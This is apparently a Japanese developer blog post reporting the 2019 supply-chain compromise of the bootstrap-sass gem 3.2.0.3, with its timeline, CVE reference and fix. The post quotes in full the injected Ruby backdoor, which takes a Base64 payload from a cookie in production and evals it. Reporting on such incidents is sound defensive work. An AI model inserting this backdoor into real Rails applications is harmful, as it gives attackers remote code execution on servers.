- Ruby / Rails関連
セキュリティ: 3月26日のbootstrap-sass gem 3.2.0.3に危険なコードが含まれていた(影響を受けるサイトは少ない可能性)
訂正(2019/04/05): タイトル後半を「影響は小さい可能性」->「影響を受けるサイトは少ない可能性」に修正しました。また、「はじめに」のパラグラフを修正・追記いたしました🙇。
はじめに
3月26日に公開されていたbootstrap-sass gem 3.2.0.3に危険なコードが含まれていたという情報を記事にしました。
公開されていた期間が短かったこともあり、直接の影響範囲は小さい直接影響を受けるサイトは少ない可能性がありますが、取り込んでしまった場合の脆弱性が大きいため、最近bundle updateを行った方などは一度チェックしてみるとよいでしょう。詳しくは以下の元記事Bなどをご覧いただくようお願いします。
本記事は2019/04/05時点の情報に基づいています。
今朝公開されたRuby Weekly↑のトップに以下の元記事Aが掲載されていました。
追記(2019/04/05)
rubysec/ruby-advisory-dbにも登録されました↓。
追記(2019/04/11)
RubyGems.orgからダウンロードされてしまった3.2.0.3は1,477件あったそうです。
参考: 3.2.0.3? · Issue #1195 · twbs/bootstrap-sass
参考: show downloads and license information for yanked versions too by dwradcliffe · Pull Request #1946 · rubygems/rubygems.org
記事の概要
元記事Aによると、bootstrap-sassの 3.2.0.3にlib/active-controller/middleware.rbというファイルが含まれており、以下のコードが置かれていました。
# 同記事Aより
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
end
元記事Bで上のコードを以下のように簡単に解説しています。
- rack/sendfileを
require
している - Railsアプリがproduction環境で実行されている場合に
call
メソッドを改変する call
メソッドのモンキーパッチによって、クライアント側から送信される___cfduid
というHTTP cookieが読み取られ、Base64でデコードして動的なコードをeval
している。動的なコードの実行後は、元のcall
メソッドが呼び出される。
参考: What does the Cloudflare cfduid cookie do? – Cloudflare Support -- __cfduid
についてのCloudflareの解説
上述の元記事Bの経過報告によると、このコードを含む3.2.0.3が何者かによって公開されたのは3月26日です(タイムゾーンや時刻は記事で示されていません)。その何者かは、その前にRubyGemsの正常な3.2.0.2を「yank」することで、問題の3.2.0.3が取り込まれるように仕向けていたようです。
そしてbootstrap-sassチームは同日の10:59PM(GMT)に対応を開始し、同日11:56PM(GMT)にはrubygems.orgからの3.2.0.3の削除とcredentialの更新を終えているとのことです。
つまり元記事Bの経過を見る限りでは、汚染された3.2.0.3が公開されていたのは1日足らずだったということになります。
現在は問題のコードはリポジトリから削除され、修正済みの3.2.0.4がリリースされています。汚染された3.2.0.3は現在rubygems.orgからは取得できないようになっています。
元記事Bによると、bootstrap-sassのメンテナーは2人で、どちらかのcredentialを奪われていた可能性が示唆されていますが、まだ公式な確認は取れていないそうです。
もし運悪くbootstrap-sass 3.2.0.3をRailsアプリに取り込んでしまっていた場合は、元記事Bにもあるように3.2.0.4にアップグレードすることで、メジャーアップグレードなしで問題を修正できます。
個人の感想ですが、今回のbootstrap-sassチームの対応の迅速さは見事だと思いました。
なお、bootstrap-sassはTwitterが公式に出しているgemです。現時点の最新バージョンは3.4.1(master)です。
- リポジトリ: twbs/bootstrap-sass
CVE
- NVD - CVE-2019-10842 -- 現時点では「分析待ち」->その後「vulnerability」に変更されました(2019/04/23時点)
bootstrap-sassの関連issue
- 3.2.0.3? · Issue #1195 · twbs/bootstrap-sass
- Should I be able to download a gem marked as yanked? (bootstrap-sass 3.2.0.3) · Issue #1941 · rubygems/rubygems.org
詳しくは上のissueや元記事をごらんください。